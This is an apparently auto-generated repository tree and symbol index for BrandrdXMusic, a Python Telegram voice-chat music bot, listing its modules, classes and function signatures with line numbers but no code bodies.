│   └── utils/
│       ├── __init__.py
│       ├── admin_check.py
│       ├── branded_ban.py
│       ├── branded_font.py
│       ├── channelplay.py
│       ├── cmdforac.py
│       ├── database.py
│       ├── decorators/
│       │   ├── __init__.py
│       │   ├── admins.py
│       │   ├── language.py
│       │   └── play.py
│       ├── downloader.py
│       ├── downloaders.py
│       ├── errors.py
│       ├── events.py
│       ├── exceptions.py
│       ├── extraction.py
│       ├── filters_func.py
│       ├── formatters.py
│       ├── inline/
│       │   ├── __init__.py
│       │   ├── extras.py
│       │   ├── help.py
│       │   ├── play.py
│       │   ├── playlist.py
│       │   ├── queue.py
│       │   ├── settings.py
│       │   ├── song.py
│       │   ├── speed.py
│       │   ├── start.py
│       │   ├── stats.py
│       │   └── sudolist.py
│       ├── inlinequery.py
│       ├── logger.py
│       ├── mongo.py
│       ├── pastebin.py
│       ├── stream/
│       │   ├── autoclear.py
│       │   ├── queue.py
│       │   └── stream.py
│       ├── stuffs/
│       │   ├── _init.py_
│       │   ├── buttons.py
│       │   └── helper.py
│       ├── sys.py
│       └── thumbnails.py
├── Dockerfile
├── LICENSE
├── Procfile
├── app.json
├── config.py
├── cookies/
│   └── BrandedXMusic.txt
├── heroku.yml
├── requirements.txt
├── runtime.txt
├── sample.env
├── setup
├── start
└── strings/
    ├── __init__.py
    ├── helpers.py
    └── langs/
        └── en.yml
Download .txt
SYMBOL INDEX (584 symbols across 134 files)

FILE: BrandrdXMusic/__main__.py
  function init (line 16) | async def init():

FILE: BrandrdXMusic/core/bot.py
  class Hotty (line 9) | class Hotty(Client):
    method __init__ (line 10) | def __init__(self):
    method start (line 21) | async def start(self):
    method stop (line 51) | async def stop(self):

FILE: BrandrdXMusic/core/call.py
  function _clear_ (line 49) | async def _clear_(chat_id):
  class Call (line 55) | class Call(PyTgCalls):
    method __init__ (line 56) | def __init__(self):
    method pause_stream (line 108) | async def pause_stream(self, chat_id: int):
    method mute_stream (line 112) | async def mute_stream(self, chat_id: int):
    method unmute_stream (line 116) | async def unmute_stream(self, chat_id: int):
    method get_participant (line 120) | async def get_participant(self, chat_id: int):
    method resume_stream (line 125) | async def resume_stream(self, chat_id: int):
    method stop_stream (line 129) | async def stop_stream(self, chat_id: int):
    method stop_stream_force (line 137) | async def stop_stream_force(self, chat_id: int):
    method speedup_stream (line 168) | async def speedup_stream(self, chat_id: int, file_path, speed, playing):
    method force_stop_stream (line 236) | async def force_stop_stream(self, chat_id: int):
    method skip_stream (line 250) | async def skip_stream(
    method seek_stream (line 275) | async def seek_stream(self, chat_id, file_path, to_seek, duration, mode):
    method stream_call (line 294) | async def stream_call(self, link):
    method join_call (line 303) | async def join_call(
    method change_stream (line 358) | async def change_stream(self, client, chat_id):
    method ping (line 578) | async def ping(self):
    method start (line 592) | async def start(self):
    method decorators (line 605) | async def decorators(self):

FILE: BrandrdXMusic/core/dir.py
  function dirr (line 6) | def dirr():

FILE: BrandrdXMusic/core/git.py
  function install_req (line 13) | def install_req(cmd: str) -> Tuple[str, str, int, int]:
  function git (line 32) | def git():

FILE: BrandrdXMusic/core/userbot.py
  class Userbot (line 24) | class Userbot(Client):
    method __init__ (line 25) | def __init__(self):
    method start (line 68) | async def start(self):
    method stop (line 194) | async def stop(self):

FILE: BrandrdXMusic/logging.py
  function LOGGER (line 20) | def LOGGER(name: str) -> logging.Logger:

FILE: BrandrdXMusic/misc.py
  function is_heroku (line 18) | def is_heroku():
  function dbb (line 39) | def dbb():
  function sudo (line 45) | async def sudo():
  function heroku (line 64) | def heroku():

FILE: BrandrdXMusic/mongo/afkdb.py
  function is_afk (line 8) | async def is_afk(user_id: int) -> bool:
  function add_afk (line 15) | async def add_afk(user_id: int, mode):
  function remove_afk (line 21) | async def remove_afk(user_id: int):
  function get_afk_users (line 27) | async def get_afk_users() -> list:

FILE: BrandrdXMusic/mongo/couples_db.py
  function _get_lovers (line 5) | async def _get_lovers(cid: int):
  function _get_image (line 13) | async def _get_image(cid: int):
  function get_couple (line 21) | async def get_couple(cid: int, date: str):
  function save_couple (line 29) | async def save_couple(cid: int, date: str, couple: dict, img: str):

FILE: BrandrdXMusic/mongo/filtersdb.py
  function add_filter_db (line 5) | async def add_filter_db(chat_id: int, filter_name: str, content: str, te...
  function stop_db (line 64) | async def stop_db(chat_id: int, filter_name:str):
  function stop_all_db (line 78) | async def stop_all_db(chat_id: id):
  function get_filter (line 91) | async def get_filter(chat_id: int, filter_name: str):
  function get_filters_list (line 111) | async def get_filters_list(chat_id: int):

FILE: BrandrdXMusic/mongo/readable_time.py
  function get_readable_time (line 1) | def get_readable_time(seconds: int) -> str:

FILE: BrandrdXMusic/platforms/Apple.py
  class AppleAPI (line 9) | class AppleAPI:
    method __init__ (line 10) | def __init__(self):
    method valid (line 14) | async def valid(self, link: str):
    method track (line 20) | async def track(self, url, playid: Union[bool, str] = None):
    method playlist (line 51) | async def playlist(self, url, playid: Union[bool, str] = None):

FILE: BrandrdXMusic/platforms/Carbon.py
  class UnableToFetchCarbon (line 8) | class UnableToFetchCarbon(Exception):
  class CarbonAPI (line 70) | class CarbonAPI:
    method __init__ (line 71) | def __init__(self):
    method generate (line 80) | async def generate(self, text: str, user_id):

FILE: BrandrdXMusic/platforms/Resso.py
  class RessoAPI (line 9) | class RessoAPI:
    method __init__ (line 10) | def __init__(self):
    method valid (line 14) | async def valid(self, link: str):
    method track (line 20) | async def track(self, url, playid: Union[bool, str] = None):

FILE: BrandrdXMusic/platforms/Soundcloud.py
  class SoundAPI (line 8) | class SoundAPI:
    method __init__ (line 9) | def __init__(self):
    method valid (line 18) | async def valid(self, link: str):
    method download (line 24) | async def download(self, url):

FILE: BrandrdXMusic/platforms/Spotify.py
  class SpotifyAPI (line 10) | class SpotifyAPI:
    method __init__ (line 11) | def __init__(self):
    method valid (line 25) | async def valid(self, link: str):
    method track (line 31) | async def track(self, link: str):
    method playlist (line 54) | async def playlist(self, url):
    method album (line 68) | async def album(self, url):
    method artist (line 85) | async def artist(self, url):

FILE: BrandrdXMusic/platforms/Telegram.py
  class TeleAPI (line 18) | class TeleAPI:
    method __init__ (line 19) | def __init__(self):
    method send_split_text (line 23) | async def send_split_text(self, message, string):
    method get_link (line 33) | async def get_link(self, message):
    method get_filename (line 36) | async def get_filename(self, file, audio: Union[bool, str] = None):
    method get_duration (line 45) | async def get_duration(self, file):
    method get_duration (line 52) | async def get_duration(self, filex, file_path):
    method get_filepath (line 65) | async def get_filepath(
    method download (line 94) | async def download(self, _, message, mystic, fname):

FILE: BrandrdXMusic/platforms/Youtube.py
  function load_api_url (line 16) | async def load_api_url():
  function download_song (line 43) | async def download_song(link: str) -> str:
  function download_video (line 108) | async def download_video(link: str) -> str:
  function shell_cmd (line 173) | async def shell_cmd(cmd):
  class YouTubeAPI (line 187) | class YouTubeAPI:
    method __init__ (line 188) | def __init__(self):
    method exists (line 195) | async def exists(self, link: str, videoid: Union[bool, str] = None):
    method url (line 200) | async def url(self, message_1: Message) -> Union[str, None]:
    method details (line 216) | async def details(self, link: str, videoid: Union[bool, str] = None):
    method title (line 230) | async def title(self, link: str, videoid: Union[bool, str] = None):
    method duration (line 239) | async def duration(self, link: str, videoid: Union[bool, str] = None):
    method thumbnail (line 248) | async def thumbnail(self, link: str, videoid: Union[bool, str] = None):
    method video (line 257) | async def video(self, link: str, videoid: Union[bool, str] = None):
    method playlist (line 271) | async def playlist(self, link, limit, user_id, videoid: Union[bool, st...
    method track (line 285) | async def track(self, link: str, videoid: Union[bool, str] = None):
    method formats (line 306) | async def formats(self, link: str, videoid: Union[bool, str] = None):
    method slider (line 333) | async def slider(self, link: str, query_type: int, videoid: Union[bool...
    method download (line 346) | async def download(

FILE: BrandrdXMusic/plugins/__init__.py
  function __list_all_modules (line 5) | def __list_all_modules():

FILE: BrandrdXMusic/plugins/admins/Sangmata.py
  function sg (line 12) | async def sg(client: Client, message: Message):

FILE: BrandrdXMusic/plugins/admins/all_tag.py
  function tag_all_users (line 18) | async def tag_all_users(_, message):
  function cancelcmd (line 88) | async def cancelcmd(_, message):

FILE: BrandrdXMusic/plugins/admins/assistant_tag.py
  function atag_all_useres (line 19) | async def atag_all_useres(_, message):
  function cancelcmd (line 79) | async def cancelcmd(_, message):

FILE: BrandrdXMusic/plugins/admins/auth.py
  function auth (line 19) | async def auth(client, message: Message, _):
  function unauthusers (line 48) | async def unauthusers(client, message: Message, _):
  function authusers (line 69) | async def authusers(client, message: Message, _):

FILE: BrandrdXMusic/plugins/admins/callback.py
  function del_back_playlist (line 47) | async def del_back_playlist(client, CallbackQuery, _):
  function markup_timer (line 356) | async def markup_timer():

FILE: BrandrdXMusic/plugins/admins/entag.py
  function mentionall (line 161) | async def mentionall(client, message):
  function mention_allvc (line 221) | async def mention_allvc(client, message):
  function cancel_spam (line 266) | async def cancel_spam(client, message):

FILE: BrandrdXMusic/plugins/admins/font.py
  class Fonts (line 1) | class Fonts:
    method typewriter (line 2) | def typewriter(text):
    method outline (line 61) | def outline(text):
    method serief (line 130) | def serief(text):
    method bold_cool (line 199) | def bold_cool(text):
    method cool (line 258) | def cool(text):
    method smallcap (line 317) | def smallcap(text):
    method script (line 386) | def script(text):
    method bold_script (line 445) | def bold_script(text):
    method tiny (line 504) | def tiny(text):
    method comic (line 563) | def comic(text):
    method san (line 622) | def san(text):
    method slant_san (line 691) | def slant_san(text):
    method slant (line 750) | def slant(text):
    method sim (line 809) | def sim(text):
    method circles (line 868) | def circles(text):
    method dark_circle (line 937) | def dark_circle(text):
    method gothic (line 1006) | def gothic(text):
    method bold_gothic (line 1065) | def bold_gothic(text):
    method cloud (line 1124) | def cloud(text):
    method happy (line 1183) | def happy(text):
    method sad (line 1242) | def sad(text):
    method special (line 1301) | def special(text):
    method square (line 1360) | def square(text):
    method dark_square (line 1419) | def dark_square(text):
    method andalucia (line 1478) | def andalucia(text):
    method manga (line 1537) | def manga(text):
    method stinky (line 1596) | def stinky(text):
    method bubbles (line 1655) | def bubbles(text):
    method underline (line 1714) | def underline(text):
    method ladybug (line 1773) | def ladybug(text):
    method rays (line 1832) | def rays(text):
    method birds (line 1891) | def birds(text):
    method slash (line 1950) | def slash(text):
    method stop (line 2009) | def stop(text):
    method skyline (line 2068) | def skyline(text):
    method arrows (line 2127) | def arrows(text):
    method rvnes (line 2186) | def rvnes(text):
    method strike (line 2245) | def strike(text):
    method frozen (line 2304) | def frozen(text):

FILE: BrandrdXMusic/plugins/admins/gmtag.py
  function mentionall (line 106) | async def mentionall(client, message):
  function mention_allvc (line 166) | async def mention_allvc(client, message):
  function cancel_spam (line 211) | async def cancel_spam(client, message):

FILE: BrandrdXMusic/plugins/admins/hitag.py
  function mentionall (line 216) | async def mentionall(client, message):
  function mention_allvc (line 276) | async def mention_allvc(client, message):
  function cancel_spam (line 321) | async def cancel_spam(client, message):

FILE: BrandrdXMusic/plugins/admins/loop.py
  function admins (line 13) | async def admins(cli, message: Message, _, chat_id):

FILE: BrandrdXMusic/plugins/admins/pause.py
  function pause_admin (line 14) | async def pause_admin(cli, message: Message, _, chat_id):

FILE: BrandrdXMusic/plugins/admins/quiz.py
  function quiz (line 14) | async def quiz(client, message):

FILE: BrandrdXMusic/plugins/admins/resume.py
  function resume_com (line 14) | async def resume_com(cli, message: Message, _, chat_id):

FILE: BrandrdXMusic/plugins/admins/seek.py
  function seek_comm (line 18) | async def seek_comm(cli, message: Message, _, chat_id):

FILE: BrandrdXMusic/plugins/admins/shayari.py
  function mentionall (line 97) | async def mentionall(client, message):
  function cancel_spam (line 159) | async def cancel_spam(client, message):

FILE: BrandrdXMusic/plugins/admins/shuffle.py
  function admins (line 17) | async def admins(Client, message: Message, _, chat_id):

FILE: BrandrdXMusic/plugins/admins/skip.py
  function skip (line 20) | async def skip(cli, message: Message, _, chat_id):

FILE: BrandrdXMusic/plugins/admins/speed.py
  function playback (line 22) | async def playback(cli, message: Message, _, chat_id):
  function del_back_playlist (line 41) | async def del_back_playlist(client, CallbackQuery, _):

FILE: BrandrdXMusic/plugins/admins/stop.py
  function stop_music (line 16) | async def stop_music(cli, message: Message, _, chat_id):

FILE: BrandrdXMusic/plugins/admins/tagall.py
  function mentionall (line 158) | async def mentionall(client, message):
  function cancel_spam (line 217) | async def cancel_spam(client, message):

FILE: BrandrdXMusic/plugins/admins/utag.py
  function tag_all_users (line 17) | async def tag_all_users(_, message):
  function stop_tagging (line 65) | async def stop_tagging(_, message):

FILE: BrandrdXMusic/plugins/bot/afk.py
  function active_afk (line 11) | async def active_afk(_, message: Message):
  function chat_watcher_func (line 167) | async def chat_watcher_func(_, message):

FILE: BrandrdXMusic/plugins/bot/help.py
  function helper_private (line 19) | async def helper_private(
  function help_com_group (line 51) | async def help_com_group(client, message: Message, _):
  function helper_cb (line 60) | async def helper_cb(client, CallbackQuery, _):
  function helper_cb (line 97) | async def helper_cb(client, CallbackQuery):
  function on_back_button (line 102) | async def on_back_button(client, CallbackQuery):
  function mb_plugin_button (line 112) | async def mb_plugin_button(client, CallbackQuery):

FILE: BrandrdXMusic/plugins/bot/inline.py
  function inline_query_handler (line 14) | async def inline_query_handler(client, query):

FILE: BrandrdXMusic/plugins/bot/lyrics.py
  function lrsearch (line 24) | async def lrsearch(client, message: Message):

FILE: BrandrdXMusic/plugins/bot/settings.py
  function settings_mar (line 46) | async def settings_mar(client, message: Message, _):
  function gib_repo (line 55) | async def gib_repo(client, CallbackQuery, _):
  function settings_cb (line 67) | async def settings_cb(client, CallbackQuery, _):
  function settings_back_markup (line 84) | async def settings_back_markup(client, CallbackQuery: CallbackQuery, _):
  function without_Admin_rights (line 115) | async def without_Admin_rights(client, CallbackQuery, _):
  function addition (line 199) | async def addition(client, CallbackQuery, _):
  function playmode_ans (line 241) | async def playmode_ans(client, CallbackQuery, _):
  function authusers_mar (line 318) | async def authusers_mar(client, CallbackQuery, _):
  function vote_change (line 387) | async def vote_change(client, CallbackQuery, _):

FILE: BrandrdXMusic/plugins/bot/songs.py
  function song_commad_private (line 28) | async def song_commad_private(client, message: Message, _):
  function songs_back_helper (line 88) | async def songs_back_helper(client, callback_query: CallbackQuery, _):
  function song_helper_cb (line 99) | async def song_helper_cb(client, callback_query: CallbackQuery, _):
  function song_download_cb (line 200) | async def song_download_cb(client, callback_query: CallbackQuery, _) :

FILE: BrandrdXMusic/plugins/bot/start.py
  function start_pm (line 28) | async def start_pm(client, message: Message, _):
  function start_gp (line 151) | async def start_gp(client, message: Message, _):
  function welcome (line 163) | async def welcome(client, message: Message):

FILE: BrandrdXMusic/plugins/misc/autoleave.py
  function auto_leave (line 12) | async def auto_leave():
  function auto_end (line 47) | async def auto_end():

FILE: BrandrdXMusic/plugins/misc/broadcast.py
  function braodcast_message (line 25) | async def braodcast_message(client, message, _):
  function auto_clean (line 149) | async def auto_clean():

FILE: BrandrdXMusic/plugins/misc/info.py
  function get_userinfo_img (line 33) | async def get_userinfo_img(
  function userstatus (line 93) | async def userstatus(user_id):
  function userinfo (line 116) | async def userinfo(_, message):

FILE: BrandrdXMusic/plugins/misc/mongochk.py
  function mongo_command (line 12) | async def mongo_command(client, message: Message):

FILE: BrandrdXMusic/plugins/misc/seeker.py
  function timer (line 7) | async def timer():

FILE: BrandrdXMusic/plugins/misc/truth_dare.py
  function get_truth (line 12) | def get_truth(client, message):
  function get_dare (line 25) | def get_dare(client, message):

FILE: BrandrdXMusic/plugins/misc/watcher.py
  function welcome (line 13) | async def welcome(_, message: Message):

FILE: BrandrdXMusic/plugins/play/channel.py
  function playmode_ (line 13) | async def playmode_(client, message: Message, _):

FILE: BrandrdXMusic/plugins/play/live.py
  function play_live_stream (line 12) | async def play_live_stream(client, CallbackQuery, _):

FILE: BrandrdXMusic/plugins/play/play.py
  function play_commnd (line 45) | async def play_commnd(
  function play_music (line 437) | async def play_music(client, CallbackQuery, _):
  function piyush_check (line 505) | async def piyush_check(client, CallbackQuery):
  function play_playlists_command (line 517) | async def play_playlists_command(client, CallbackQuery, _):
  function slider_queries (line 604) | async def slider_queries(client, CallbackQuery, _):

FILE: BrandrdXMusic/plugins/play/playlist.py
  function _get_playlists (line 38) | async def _get_playlists(chat_id: int) -> Dict[str, int]:
  function get_playlist_names (line 45) | async def get_playlist_names(chat_id: int) -> List[str]:
  function get_playlist (line 52) | async def get_playlist(chat_id: int, name: str) -> Union[bool, dict]:
  function save_playlist (line 61) | async def save_playlist(chat_id: int, name: str, note: dict):
  function delete_playlist (line 70) | async def delete_playlist(chat_id: int, name: str) -> bool:
  function check_playlist (line 92) | async def check_playlist(client, message: Message, _):
  function get_keyboard (line 141) | async def get_keyboard(_, user_id):
  function del_plist_msg (line 167) | async def del_plist_msg(client, message: Message, _):
  function play_playlist (line 201) | async def play_playlist(client, CallbackQuery, _):
  function play_playlist_command (line 249) | async def play_playlist_command(client, message, _):
  function add_playlist (line 300) | async def add_playlist(client, message: Message, _):
  function open_playlist (line 556) | async def open_playlist(client, CallbackQuery, _):
  function del_plist (line 568) | async def del_plist(client, CallbackQuery, _):
  function add_playlist (line 600) | async def add_playlist(client, CallbackQuery, _):
  function add_playlist (line 657) | async def add_playlist(client, CallbackQuery, _):
  function add_playlists (line 666) | async def add_playlists(client, CallbackQuery, _):
  function delete_all_playlists (line 719) | async def delete_all_playlists(client, message, _):
  function del_plist (line 736) | async def del_plist(client, CallbackQuery, _):
  function del_whole_playlist (line 759) | async def del_whole_playlist(client, CallbackQuery, _):
  function get_playlist_playmode_ (line 773) | async def get_playlist_playmode_(client, CallbackQuery, _):
  function delete_warning_message (line 786) | async def delete_warning_message(client, CallbackQuery, _):
  function home_play_ (line 799) | async def home_play_(client, CallbackQuery, _):
  function del_back_playlist (line 814) | async def del_back_playlist(client, CallbackQuery, _):

FILE: BrandrdXMusic/plugins/play/playmode.py
  function playmode_ (line 13) | async def playmode_(client, message: Message, _):

FILE: BrandrdXMusic/plugins/play/radio.py
  function radio (line 47) | async def radio(client, message: Message):

FILE: BrandrdXMusic/plugins/sudo/autoend.py
  function auto_end_stream (line 10) | async def auto_end_stream(_, message: Message):

FILE: BrandrdXMusic/plugins/sudo/blchat.py
  function blacklist_chat_func (line 13) | async def blacklist_chat_func(client, message: Message, _):
  function white_funciton (line 34) | async def white_funciton(client, message: Message, _):
  function all_chats (line 48) | async def all_chats(client, message: Message, _):

FILE: BrandrdXMusic/plugins/sudo/block.py
  function useradd (line 14) | async def useradd(client, message: Message, _):
  function userdel (line 28) | async def userdel(client, message: Message, _):
  function sudoers_list (line 42) | async def sudoers_list(client, message: Message, _):

FILE: BrandrdXMusic/plugins/sudo/gban.py
  function global_ban (line 25) | async def global_ban(client, message: Message, _):
  function global_un (line 73) | async def global_un(client, message: Message, _):
  function gbanned_list (line 105) | async def gbanned_list(client, message: Message, _):

FILE: BrandrdXMusic/plugins/sudo/logger.py
  function logger (line 11) | async def logger(client, message, _):
  function logger (line 27) | async def logger(client, message, _):

FILE: BrandrdXMusic/plugins/sudo/maintenance.py
  function maintenance (line 16) | async def maintenance(client, message: Message):

FILE: BrandrdXMusic/plugins/sudo/restart.py
  function is_heroku (line 26) | async def is_heroku():
  function log_ (line 32) | async def log_(client, message, _):
  function update_ (line 41) | async def update_(client, message, _):
  function restart_ (line 114) | async def restart_(_, message):

FILE: BrandrdXMusic/plugins/sudo/sudoers.py
  function useradd (line 15) | async def useradd(client, message: Message, _):
  function userdel (line 32) | async def userdel(client, message: Message, _):
  function sudoers_list (line 49) | async def sudoers_list(client, message: Message, _):

FILE: BrandrdXMusic/plugins/tools/active.py
  function activevc (line 16) | async def activevc(_, message: Message):
  function activevi_ (line 48) | async def activevi_(_, message: Message):

FILE: BrandrdXMusic/plugins/tools/alive.py
  function start (line 10) | async def start(client: Client, message: Message):

FILE: BrandrdXMusic/plugins/tools/bot_left.py
  function on_left_chat_member (line 27) | async def on_left_chat_member(_, message: Message):

FILE: BrandrdXMusic/plugins/tools/bots.py
  function bots (line 10) | async def bots(client, message):

FILE: BrandrdXMusic/plugins/tools/chatlog.py
  function join_watcher (line 29) | async def join_watcher(_, message):

FILE: BrandrdXMusic/plugins/tools/couples.py
  function dt (line 24) | def dt():
  function dt_tom (line 31) | def dt_tom():
  function ctest (line 45) | async def ctest(_, message):

FILE: BrandrdXMusic/plugins/tools/dev.py
  function aexec (line 17) | async def aexec(code, client, message):
  function edit_or_reply (line 25) | async def edit_or_reply(msg: Message, **kwargs):
  function executor (line 43) | async def executor(client: app, message: Message):
  function runtime_func_cq (line 117) | async def runtime_func_cq(_, cq):
  function forceclose_command (line 123) | async def forceclose_command(_, CallbackQuery):
  function shellrunner (line 153) | async def shellrunner(_, message: Message):

FILE: BrandrdXMusic/plugins/tools/font.py
  function style_buttons (line 9) | async def style_buttons(c, m, cb=False):
  function nxt (line 60) | async def nxt(c, m):
  function style (line 102) | async def style(c, m):

FILE: BrandrdXMusic/plugins/tools/google.py
  function google (line 11) | async def google(bot, message):
  function app (line 36) | async def app(bot, message):

FILE: BrandrdXMusic/plugins/tools/id.py
  function ids (line 6) | def ids(_, message):

FILE: BrandrdXMusic/plugins/tools/ig.py
  function download_instagram_video (line 8) | async def download_instagram_video(client, message):

FILE: BrandrdXMusic/plugins/tools/image.py
  function google_img_search (line 10) | async def google_img_search(client: Client, message: Message):

FILE: BrandrdXMusic/plugins/tools/language.py
  function lanuages_keyboard (line 12) | def lanuages_keyboard(_):
  function langs_command (line 37) | async def langs_command(client, message: Message, _):
  function lanuagecb (line 47) | async def lanuagecb(client, CallbackQuery, _):
  function language_markup (line 58) | async def language_markup(client, CallbackQuery, _):

FILE: BrandrdXMusic/plugins/tools/left.py
  function get_userinfo_img (line 21) | async def get_userinfo_img(
  function member_has_left (line 63) | async def member_has_left(client: app, member: ChatMemberUpdated):

FILE: BrandrdXMusic/plugins/tools/paste.py
  function isPreviewUp (line 18) | async def isPreviewUp(preview: str) -> bool:
  function paste_func (line 35) | async def paste_func(_, message):

FILE: BrandrdXMusic/plugins/tools/ping.py
  function ping_com (line 16) | async def ping_com(client, message: Message, _):

FILE: BrandrdXMusic/plugins/tools/q.py
  class QuotlyException (line 20) | class QuotlyException(Exception):
  function get_message_sender_id (line 24) | async def get_message_sender_id(ctx: Message):
  function get_message_sender_name (line 42) | async def get_message_sender_name(ctx: Message):
  function get_custom_emoji (line 68) | async def get_custom_emoji(ctx: Message):
  function get_message_sender_username (line 82) | async def get_message_sender_username(ctx: Message):
  function get_message_sender_photo (line 114) | async def get_message_sender_photo(ctx: Message):
  function get_text_or_caption (line 171) | async def get_text_or_caption(ctx: Message):
  function pyrogram_to_quotly (line 180) | async def pyrogram_to_quotly(messages, is_reply):
  function isArgInt (line 243) | def isArgInt(txt) -> list:
  function msg_quotly_cmd (line 253) | async def msg_quotly_cmd(self: app, ctx: Message):

FILE: BrandrdXMusic/plugins/tools/queue.py
  function get_image (line 20) | def get_image(videoid):
  function get_duration (line 27) | def get_duration(playing):
  function get_queue (line 44) | async def get_queue(client, message: Message, _):
  function quite_timer (line 131) | async def quite_timer(client, CallbackQuery: CallbackQuery):
  function queued_tracks (line 140) | async def queued_tracks(client, CallbackQuery: CallbackQuery, _):
  function queue_back (line 189) | async def queue_back(client, CallbackQuery: CallbackQuery, _):

FILE: BrandrdXMusic/plugins/tools/reload.py
  function reload_admin_cache (line 23) | async def reload_admin_cache(client, message: Message, _):
  function restartbot (line 51) | async def restartbot(client, message: Message, _):
  function close_menu (line 90) | async def close_menu(_, CallbackQuery):
  function stop_download (line 103) | async def stop_download(client, CallbackQuery: CallbackQuery, _):

FILE: BrandrdXMusic/plugins/tools/speedtest.py
  function testspeed (line 12) | def testspeed(m, _):
  function speedtest_function (line 30) | async def speedtest_function(client, message: Message, _):

FILE: BrandrdXMusic/plugins/tools/stats.py
  function stats_global (line 24) | async def stats_global(client, message: Message, _):
  function home_stats (line 35) | async def home_stats(client, CallbackQuery, _):
  function overall_stats (line 45) | async def overall_stats(client, CallbackQuery, _):
  function bot_stats (line 79) | async def bot_stats(client, CallbackQuery, _):

FILE: BrandrdXMusic/plugins/tools/telegraph.py
  function upload_file (line 8) | def upload_file(file_path):
  function get_link_group (line 21) | async def get_link_group(client, message):

FILE: BrandrdXMusic/plugins/tools/tts.py
  function text_to_speech (line 10) | async def text_to_speech(client, message):

FILE: BrandrdXMusic/plugins/tools/vctools.py
  function brah (line 21) | async def brah(_, msg):
  function brah2 (line 27) | async def brah2(_, msg):
  function brah3 (line 33) | async def brah3(app: app, message: Message):
  function calculate_math (line 64) | def calculate_math(client, message):
  function search (line 75) | async def search(event):

FILE: BrandrdXMusic/plugins/tools/welcome.py
  class WelDatabase (line 10) | class WelDatabase:
    method __init__ (line 11) | def __init__(self):
    method find_one (line 14) | async def find_one(self, chat_id):
    method add_wlcm (line 17) | async def add_wlcm(self, chat_id):
    method rm_wlcm (line 20) | async def rm_wlcm(self, chat_id):
  class temp (line 26) | class temp:
  function circle (line 34) | def circle(pfp, size=(500, 500)):
  function welcomepic (line 45) | def welcomepic(pic, user, chatname, id, uname):
  function greet_group (line 60) | async def greet_group(_, member: ChatMemberUpdated):
  function bot_wel (line 108) | async def bot_wel(_, message):

FILE: BrandrdXMusic/plugins/tools/zowner.py
  function help (line 12) | async def help(client: Client, message: Message):
  function clones (line 29) | async def clones(client: Client, message: Message):
  function bot_check (line 55) | async def bot_check(_, message):
  function add_allbot (line 67) | async def add_allbot(client, message):

FILE: BrandrdXMusic/utils/admin_check.py
  function admin_check (line 5) | async def admin_check(message: Message) -> bool:

FILE: BrandrdXMusic/utils/branded_ban.py
  function f_sudo_filter (line 7) | def f_sudo_filter(filt, client, message):
  function onw_filter (line 22) | def onw_filter(filt, client, message):
  function admin_filter_f (line 43) | async def admin_filter_f(filt, client, message):

FILE: BrandrdXMusic/utils/branded_font.py
  class Fonts (line 1) | class Fonts:
    method typewriter (line 2) | def typewriter(text):
    method outline (line 61) | def outline(text):
    method serief (line 130) | def serief(text):
    method bold_cool (line 199) | def bold_cool(text):
    method cool (line 258) | def cool(text):
    method smallcap (line 317) | def smallcap(text):
    method script (line 386) | def script(text):
    method bold_script (line 445) | def bold_script(text):
    method tiny (line 504) | def tiny(text):
    method comic (line 563) | def comic(text):
    method san (line 622) | def san(text):
    method slant_san (line 691) | def slant_san(text):
    method slant (line 750) | def slant(text):
    method sim (line 809) | def sim(text):
    method circles (line 868) | def circles(text):
    method dark_circle (line 937) | def dark_circle(text):
    method gothic (line 1006) | def gothic(text):
    method bold_gothic (line 1065) | def bold_gothic(text):
    method cloud (line 1124) | def cloud(text):
    method happy (line 1183) | def happy(text):
    method sad (line 1242) | def sad(text):
    method special (line 1301) | def special(text):
    method square (line 1360) | def square(text):
    method dark_square (line 1419) | def dark_square(text):
    method andalucia (line 1478) | def andalucia(text):
    method manga (line 1537) | def manga(text):
    method stinky (line 1596) | def stinky(text):
    method bubbles (line 1655) | def bubbles(text):
    method underline (line 1714) | def underline(text):
    method ladybug (line 1773) | def ladybug(text):
    method rays (line 1832) | def rays(text):
    method birds (line 1891) | def birds(text):
    method slash (line 1950) | def slash(text):
    method stop (line 2009) | def stop(text):
    method skyline (line 2068) | def skyline(text):
    method arrows (line 2127) | def arrows(text):
    method rvnes (line 2186) | def rvnes(text):
    method strike (line 2245) | def strike(text):
    method frozen (line 2304) | def frozen(text):

FILE: BrandrdXMusic/utils/channelplay.py
  function get_channeplayCB (line 5) | async def get_channeplayCB(_, command, CallbackQuery):

FILE: BrandrdXMusic/utils/cmdforac.py
  function avoice (line 10) | def avoice(commands: Union[str, List[str]]):

FILE: BrandrdXMusic/utils/database.py
  function get_queries (line 58) | async def get_queries() -> int:
  function set_queries (line 66) | async def set_queries(mode: int):
  function get_top_chats (line 79) | async def get_top_chats() -> dict:
  function get_global_tops (line 92) | async def get_global_tops() -> dict:
  function get_particulars (line 110) | async def get_particulars(chat_id: int) -> Dict[str, int]:
  function get_particular_top (line 117) | async def get_particular_top(chat_id: int, name: str) -> Union[bool, dict]:
  function update_particular_top (line 123) | async def update_particular_top(chat_id: int, name: str, vidid: dict):
  function get_userss (line 134) | async def get_userss(chat_id: int) -> Dict[str, int]:
  function get_user_top (line 141) | async def get_user_top(chat_id: int, name: str) -> Union[bool, dict]:
  function update_user_top (line 147) | async def update_user_top(chat_id: int, name: str, vidid: dict):
  function get_topp_users (line 153) | async def get_topp_users() -> dict:
  function get_assistant_number (line 166) | async def get_assistant_number(chat_id: int) -> str:
  function get_client (line 171) | async def get_client(assistant: int):
  function set_assistant_new (line 184) | async def set_assistant_new(chat_id, number):
  function set_assistant (line 193) | async def set_assistant(chat_id):
  function get_assistant (line 207) | async def get_assistant(chat_id: int) -> str:
  function set_calls_assistant (line 234) | async def set_calls_assistant(chat_id):
  function group_assistant (line 247) | async def group_assistant(self, chat_id: int) -> int:
  function is_skipmode (line 279) | async def is_skipmode(chat_id: int) -> bool:
  function skip_on (line 291) | async def skip_on(chat_id: int):
  function skip_off (line 298) | async def skip_off(chat_id: int):
  function get_upvote_count (line 305) | async def get_upvote_count(chat_id: int) -> int:
  function set_upvotes (line 316) | async def set_upvotes(chat_id: int, mode: int):
  function is_autoend (line 323) | async def is_autoend() -> bool:
  function autoend_on (line 331) | async def autoend_on():
  function autoend_off (line 336) | async def autoend_off():
  function get_loop (line 341) | async def get_loop(chat_id: int) -> int:
  function set_loop (line 348) | async def set_loop(chat_id: int, mode: int):
  function get_cmode (line 352) | async def get_cmode(chat_id: int) -> int:
  function set_cmode (line 363) | async def set_cmode(chat_id: int, mode: int):
  function get_playtype (line 370) | async def get_playtype(chat_id: int) -> str:
  function set_playtype (line 382) | async def set_playtype(chat_id: int, mode: str):
  function get_playmode (line 389) | async def get_playmode(chat_id: int) -> str:
